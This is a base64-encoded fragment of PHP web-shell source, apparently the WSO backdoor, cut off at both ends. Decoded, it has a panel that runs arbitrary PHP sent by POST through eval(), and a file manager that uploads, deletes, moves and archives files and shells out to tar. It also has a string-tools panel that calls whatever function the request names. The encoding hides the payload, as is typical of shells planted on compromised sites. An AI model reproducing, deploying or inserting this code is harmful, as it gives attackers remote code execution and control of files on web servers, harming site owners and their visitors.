iAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkgJiYgIWVtcHR5KCRfUE9TVFsncDEnXSkpCiAgICAgICAgV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnLCAwKTsKCgl3c29IZWFkZXIoKTsKCWlmKGlzc2V0KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDInXSA9PSAnaW5mbycpKSB7CgkJZWNobyAnPGgxPlBIUCBpbmZvPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHN0eWxlPi5wIHtjb2xvcjojMDAwO308L3N0eWxlPic7CgkJb2Jfc3RhcnQoKTsKCQlwaHBpbmZvKCk7CgkJJHRtcCA9IG9iX2dldF9jbGVhbigpOwogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoYXJyYXkgKAogICAgICAgICAgICAnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLAogICAgICAgICAgICAnIXRkLCB0aCB7KC4qKX0hbXNpVScsCiAgICAgICAgICAgICchPGltZ1tePl0rPiFtc2lVJywKICAgICAgICApLCBhcnJheSAoCiAgICAgICAgICAgICcnLAogICAgICAgICAgICAnLmUsIC52LCAuaCwgLmggdGggeyQxfScsCiAgICAgICAgICAgICcnCiAgICAgICAgKSwgJHRtcCk7CgkJZWNobyBzdHJfcmVwbGFjZSgnPGgxJywnPGgyJywgJHRtcCkgLic8L2Rpdj48YnI+JzsKCX0KICAgIGVjaG8gJzxoMT5FeGVjdXRpb24gUEhQLWNvZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPXBmIG1ldGhvZD1wb3N0IG9uc3VibWl0PSJpZih0aGlzLmFqYXguY2hlY2tlZCl7YShcJ1BocFwnLG51bGwsdGhpcy5jb2RlLnZhbHVlKTt9ZWxzZXtnKFwnUGhwXCcsbnVsbCx0aGlzLmNvZGUudmFsdWUsXCdcJyk7fXJldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPWNvZGUgY2xhc3M9YmlnYXJlYSBpZD1QaHBDb2RlPicuKCFlbXB0eSgkX1BPU1RbJ3AxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJykuJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUV2YWwgc3R5bGU9Im1hcmdpbi10b3A6NXB4Ij4nOwoJZWNobyAnIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVg8L2Zvcm0+PHByZSBpZD1QaHBPdXRwdXQgc3R5bGU9IicuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4nbWFyZ2luLXRvcDo1cHg7IiBjbGFzcz1tbDE+JzsKCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CgkJb2Jfc3RhcnQoKTsKCQlldmFsKCRfUE9TVFsncDEnXSk7CgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsKCX0KCWVjaG8gJzwvcHJlPjwvZGl2Pic7Cgl3c29Gb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uRmlsZXNNYW4oKSB7CiAgICBpZiAoIWVtcHR5ICgkX0NPT0tJRVsnZiddKSkKICAgICAgICAkX0NPT0tJRVsnZiddID0gQHVuc2VyaWFsaXplKCRfQ09PS0lFWydmJ10pOwogICAgCglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewoJCXN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsKCQkJY2FzZSAndXBsb2FkRmlsZSc6CgkJCQlpZighQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2YnXVsnbmFtZSddKSkKCQkJCQllY2hvICJDYW4ndCB1cGxvYWQgZmlsZSEiOwoJCQkJYnJlYWs7CgkJCWNhc2UgJ21rZGlyJzoKCQkJCWlmKCFAbWtkaXIoJF9QT1NUWydwMiddKSkKCQkJCQllY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7CgkJCQlicmVhazsKCQkJY2FzZSAnZGVsZXRlJzoKCQkJCWZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkgewoJCQkJCSRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7CgkJCQkJJGRoICA9IG9wZW5kaXIoJHBhdGgpOwoJCQkJCXdoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkgIT09IGZhbHNlKSB7CgkJCQkJCSRpdGVtID0gJHBhdGguJGl0ZW07CgkJCQkJCWlmICggKGJhc2VuYW1lKCRpdGVtKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuIikgKQoJCQkJCQkJY29udGludWU7CgkJCQkJCSR0eXBlID0gZmlsZXR5cGUoJGl0ZW0pOwoJCQkJCQlpZiAoJHR5cGUgPT0gImRpciIpCgkJCQkJCQlkZWxldGVEaXIoJGl0ZW0pOwoJCQkJCQllbHNlCgkJCQkJCQlAdW5saW5rKCRpdGVtKTsKCQkJCQl9CgkJCQkJY2xvc2VkaXIoJGRoKTsKCQkJCQlAcm1kaXIoJHBhdGgpOwoJCQkJfQoJCQkJaWYoaXNfYXJyYXkoQCRfUE9TVFsnZiddKSkKCQkJCQlmb3JlYWNoKCRfUE9TVFsnZiddIGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKCQkJCQkJJGYgPSB1cmxkZWNvZGUoJGYpOwoJCQkJCQlpZihpc19kaXIoJGYpKQoJCQkJCQkJZGVsZXRlRGlyKCRmKTsKCQkJCQkJZWxzZQoJCQkJCQkJQHVubGluaygkZik7CgkJCQkJfQoJCQkJYnJlYWs7CgkJCWNhc2UgJ3Bhc3RlJzoKCQkJCWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnY29weScpIHsKCQkJCQlmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsKCQkJCQkJaWYoaXNfZGlyKCRjLiRzKSl7CgkJCQkJCQlta2RpcigkZC4kcyk7CgkJCQkJCQkkaCA9IEBvcGVuZGlyKCRjLiRzKTsKCQkJCQkJCXdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKCQkJCQkJCQlpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkKCQkJCQkJCQkJY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7CgkJCQkJCX0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKQoJCQkJCQkJQGNvcHkoJGMuJHMsICRkLiRzKTsKCQkJCQl9CgkJCQkJZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKQoJCQkJCQljb3B5X3Bhc3RlKCRfQ09PS0lFWydjJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7CgkJCQl9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ21vdmUnKSB7CgkJCQkJZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7CgkJCQkJCWlmKGlzX2RpcigkYy4kcykpewoJCQkJCQkJbWtkaXIoJGQuJHMpOwoJCQkJCQkJJGggPSBAb3BlbmRpcigkYy4kcyk7CgkJCQkJCQl3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpCgkJCQkJCQkJaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpCgkJCQkJCQkJCWNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOwoJCQkJCQl9IGVsc2VpZihAaXNfZmlsZSgkYy4kcykpCgkJCQkJCQlAY29weSgkYy4kcywgJGQuJHMpOwoJCQkJCX0KCQkJCQlmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpCgkJCQkJCUByZW5hbWUoJF9DT09LSUVbJ2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsKCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnemlwJykgewoJCQkJCWlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHppcC0+b3BlbigkX1BPU1RbJ3AyJ10sIDEpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkX0NPT0tJRVsnYyddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9DT09LSUVbJ2YnXSBhcyAkZikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKEBpc19maWxlKCRfQ09PS0lFWydjJ10uJGYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKCRfQ09PS0lFWydjJ10uJGYsICRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoQGlzX2RpcigkX0NPT0tJRVsnYyddLiRmKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGYuJy8nLCBGaWxlc3lzdGVtSXRlcmF0b3I6OlNLSVBfRE9UUykpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkaXRlcmF0b3IgYXMgJGtleT0+JHZhbHVlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKHJlYWxwYXRoKCRrZXkpLCAka2V5KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQoJCQkJfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICd1bnppcCcpIHsKCQkJCQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkemlwLT5vcGVuKCRfQ09PS0lFWydjJ10uJGYpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+ZXh0cmFjdFRvKCRHTE9CQUxTWydjd2QnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAndGFyJykgewogICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfQ09PS0lFWydjJ10pOwogICAgICAgICAgICAgICAgICAgICRfQ09PS0lFWydmJ10gPSBhcnJheV9tYXAoJ2VzY2FwZXNoZWxsYXJnJywgJF9DT09LSUVbJ2YnXSk7CiAgICAgICAgICAgICAgICAgICAgd3NvRXgoJ3RhciBjZnp2ICcgLiBlc2NhcGVzaGVsbGFyZygkX1BPU1RbJ3AyJ10pIC4gJyAnIC4gaW1wbG9kZSgnICcsICRfQ09PS0lFWydmJ10pKTsKICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOwoJCQkJfQoJCQkJdW5zZXQoJF9DT09LSUVbJ2YnXSk7CiAgICAgICAgICAgICAgICBzZXRjb29raWUoJ2YnLCAnJywgdGltZSgpIC0gMzYwMCk7CgkJCQlicmVhazsKCQkJZGVmYXVsdDoKICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CgkJCQkJV1NPc2V0Y29va2llKCdhY3QnLCAkX1BPU1RbJ3AxJ10pOwoJCQkJCVdTT3NldGNvb2tpZSgnZicsIHNlcmlhbGl6ZShAJF9QT1NUWydmJ10pKTsKCQkJCQlXU09zZXRjb29raWUoJ2MnLCBAJF9QT1NUWydjJ10pOwoJCQkJfQoJCQkJYnJlYWs7CgkJfQoJfQogICAgd3NvSGVhZGVyKCk7CgllY2hvICc8aDE+RmlsZSBtYW5hZ2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNjcmlwdD5wMV89cDJfPXAzXz0iIjs8L3NjcmlwdD4nOwoJJGRpckNvbnRlbnQgPSB3c29TY2FuZGlyKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pOwoJaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKSB7CWVjaG8gJ0NhblwndCBvcGVuIHRoaXMgZm9sZGVyISc7d3NvRm9vdGVyKCk7IHJldHVybjsgfQoJZ2xvYmFsICRzb3J0OwoJJHNvcnQgPSBhcnJheSgnbmFtZScsIDEpOwoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKCQlpZihwcmVnX21hdGNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsICRfUE9TVFsncDEnXSwgJG1hdGNoKSkKCQkJJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTsKCX0KZWNobyAiPHNjcmlwdD4KCWZ1bmN0aW9uIHNhKCkgewoJCWZvcihpPTA7aTxkLmZpbGVzLmVsZW1lbnRzLmxlbmd0aDtpKyspCgkJCWlmKGQuZmlsZXMuZWxlbWVudHNbaV0udHlwZSA9PSAnY2hlY2tib3gnKQoJCQkJZC5maWxlcy5lbGVtZW50c1tpXS5jaGVja2VkID0gZC5maWxlcy5lbGVtZW50c1swXS5jaGVja2VkOwoJfQo8L3NjcmlwdD4KPHRhYmxlIHdpZHRoPScxMDAlJyBjbGFzcz0nbWFpbicgY2VsbHNwYWNpbmc9JzAnIGNlbGxwYWRkaW5nPScyJz4KPGZvcm0gbmFtZT1maWxlcyBtZXRob2Q9cG9zdD48dHI+PHRoIHdpZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2JveCBvbmNsaWNrPSdzYSgpJyBjbGFzcz1jaGtieD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19uYW1lXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19tb2RpZnlfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19wZXJtc18iLigkc29ydFsxXT8wOjEpLiJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsKCSRkaXJzID0gJGZpbGVzID0gYXJyYXkoKTsKCSRuID0gY291bnQoJGRpckNvbnRlbnQpOwoJZm9yKCRpPTA7JGk8JG47JGkrKykgewoJCSRvdyA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSkpOwoJCSRnciA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkpOwoJCSR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLAoJCQkJCSAncGF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSwKCQkJCQkgJ21vZGlmeScgPT4gZGF0ZSgnWS1tLWQgSDppOnMnLCBAZmlsZW10aW1lKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpLAoJCQkJCSAncGVybXMnID0+IHdzb1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSwKCQkJCQkgJ3NpemUnID0+IEBmaWxlc2l6ZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwKCQkJCQkgJ293bmVyJyA9PiAkb3dbJ25hbWUnXT8kb3dbJ25hbWUnXTpAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSksCgkJCQkJICdncm91cCcgPT4gJGdyWyduYW1lJ10/JGdyWyduYW1lJ106QGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pCgkJCQkJKTsKCQlpZihAaXNfZmlsZSgkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKQoJCQkkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsKCQllbHNlaWYoQGlzX2xpbmsoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkKCQkJJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnbGluaycsICdsaW5rJyA9PiByZWFkbGluaygkdG1wWydwYXRoJ10pKSk7CgkJZWxzZWlmKEBpc19kaXIoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkKCQkJJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOwoJfQoJJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0OwoJZnVuY3Rpb24gd3NvQ21wKCRhLCAkYikgewoJCWlmKCRHTE9CQUxTWydzb3J0J11bMF0gIT0gJ3NpemUnKQoJCQlyZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0pLCBzdHJ0b2xvd2VyKCRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7CgkJZWxzZQoJCQlyZXR1cm4gKCgkYVsnc2l6ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6IDEpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOwoJfQoJdXNvcnQoJGZpbGVzLCAid3NvQ21wIik7Cgl1c29ydCgkZGlycywgIndzb0NtcCIpOwoJJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7CgkkbCA9IDA7Cglmb3JlYWNoKCRmaWxlcyBhcyAkZikgewoJCWVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSInLnVybGVuY29kZSgkZlsnbmFtZSddKS4nIiBjbGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/J2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd2aWV3XCcpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk6J2coXCdGaWxlc01hblwnLFwnJy4kZlsncGF0aCddLidcJyk7IiAnIC4gKGVtcHR5ICgkZlsnbGluayddKSA/ICcnIDogInRpdGxlPSd7JGZbJ2xpbmsnXX0nIikgLiAnPjxiPlsgJyAuIGh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSkgLiAnIF08L2I+JykuJzwvYT48L3RkPjx0ZD4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT93c29WaWV3U2l6ZSgkZlsnc2l6ZSddKTokZlsndHlwZSddKS4nPC90ZD48dGQ+Jy4kZlsnbW9kaWZ5J10uJzwvdGQ+PHRkPicuJGZbJ293bmVyJ10uJy8nLiRmWydncm91cCddLic8L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLFwnY2htb2RcJykiPicuJGZbJ3Blcm1zJ10KCQkJLic8L3RkPjx0ZD48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwncmVuYW1lXCcpIj5SPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndG91Y2hcJykiPlQ8L2E+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/JyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZWRpdFwnKSI+RTwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPic6JycpLic8L3RkPjwvdHI+JzsKCQkkbCA9ICRsPzA6MTsKCX0KCWVjaG8gIjx0cj48dGQgY29sc3Bhbj03PgoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4nPgoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+Cgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4iJz4KCTxzZWxlY3QgbmFtZT0ncDEnPjxvcHRpb24gdmFsdWU9J2NvcHknPkNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdtb3ZlJz5Nb3ZlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nZGVsZXRlJz5EZWxldGU8L29wdGlvbj4iOwogICAgaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nemlwJz5Db21wcmVzcyAoemlwKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3VuemlwJz5VbmNvbXByZXNzICh6aXApPC9vcHRpb24+IjsKICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3Rhcic+Q29tcHJlc3MgKHRhci5neik8L29wdGlvbj4iOwogICAgaWYoIWVtcHR5KCRfQ09PS0lFWydhY3QnXSkgJiYgQGNvdW50KCRfQ09PS0lFWydmJ10pKQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3Bhc3RlJz5QYXN0ZSAvIENvbXByZXNzPC9vcHRpb24+IjsKICAgIGVjaG8gIjwvc2VsZWN0PiZuYnNwOyI7CiAgICBpZighZW1wdHkoJF9DT09LSUVbJ2FjdCddKSAmJiBAY291bnQoJF9DT09LSUVbJ2YnXSkgJiYgKCgkX0NPT0tJRVsnYWN0J10gPT0gJ3ppcCcpIHx8ICgkX0NPT0tJRVsnYWN0J10gPT0gJ3RhcicpKSkKICAgICAgICBlY2hvICJmaWxlIG5hbWU6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1wMiB2YWx1ZT0nd3NvXyIgLiBkYXRlKCJZbWRfSGlzIikgLiAiLiIgLiAoJF9DT09LSUVbJ2FjdCddID09ICd6aXAnPyd6aXAnOid0YXIuZ3onKSAuICInPiZuYnNwOyI7CiAgICBlY2hvICI8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L2Rpdj4iOwoJd3NvRm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvblN0cmluZ1Rvb2xzKCkgewoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmJpbicpKSB7ZnVuY3Rpb24gaGV4MmJpbigkcCkge3JldHVybiBkZWNiaW4oaGV4ZGVjKCRwKSk7fX0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2JpbmhleCcpKSB7ZnVuY3Rpb24gYmluaGV4KCRwKSB7cmV0dXJuIGRlY2hleChiaW5kZWMoJHApKTt9fQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmFzY2lpJykpIHtmdW5jdGlvbiBoZXgyYXNjaWkoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0ckxlbigkcCk7JGkrPTIpeyRyLj1jaHIoaGV4ZGVjKCRwWyRpXS4kcFskaSsxXSkpO31yZXR1cm4gJHI7fX0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2FzY2lpMmhleCcpKSB7ZnVuY3Rpb24gYXNjaWkyaGV4KCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSBzcHJpbnRmKCclMDJYJyxvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319CglpZighZnVuY3Rpb25fZXhpc3RzKCdmdWxsX3VybGVuY29kZScpKSB7ZnVuY3Rpb24gZnVsbF91cmxlbmNvZGUoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49ICclJy5kZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQoJJHN0cmluZ1Rvb2xzID0gYXJyYXkoCgkJJ0Jhc2U2NCBlbmNvZGUnID0+ICdiYXNlNjRfZW5jb2RlJywKCQknQmFzZTY0IGRlY29kZScgPT4gJ2Jhc2U2NF9kZWNvZGUnLAoJCSdVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywKCQknVXJsIGRlY29kZScgPT4gJ3VybGRlY29kZScsCgkJJ0Z1bGwgdXJsZW5jb2RlJyA9PiAnZnVsbF91cmxlbmNvZGUnLAoJCSdtZDUgaGFzaCcgPT4gJ21kNScsCgkJJ3NoYTEgaGFzaCcgPT4gJ3NoYTEnLAoJCSdjcnlwdCcgPT4gJ2NyeXB0JywKCQknQ1JDMzInID0+ICdjcmMzMicsCgkJJ0FTQ0lJIHRvIEhFWCcgPT4gJ2FzY2lpMmhleCcsCgkJJ0hFWCB0byBBU0NJSScgPT4gJ2hleDJhc2NpaScsCgkJJ0hFWCB0byBERUMnID0+ICdoZXhkZWMnLAoJCSdIRVggdG8gQklOJyA9PiAnaGV4MmJpbicsCgkJJ0RFQyB0byBIRVgnID0+ICdkZWNoZXgnLAoJCSdERUMgdG8gQklOJyA9PiAnZGVjYmluJywKCQknQklOIHRvIEhFWCcgPT4gJ2JpbmhleCcsCgkJJ0JJTiB0byBERUMnID0+ICdiaW5kZWMnLAoJCSdTdHJpbmcgdG8gbG93ZXIgY2FzZScgPT4gJ3N0cnRvbG93ZXInLAoJCSdTdHJpbmcgdG8gdXBwZXIgY2FzZScgPT4gJ3N0cnRvdXBwZXInLAoJCSdIdG1sc3BlY2lhbGNoYXJzJyA9PiAnaHRtbHNwZWNpYWxjaGFycycsCgkJJ1N0cmluZyBsZW5ndGgnID0+ICdzdHJsZW4nLAoJKTsKCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgewoJCVdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCcsIHRydWUpOwoJCW9iX3N0YXJ0KCk7CgkJaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKQoJCQllY2hvICRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pOwoJCSR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdX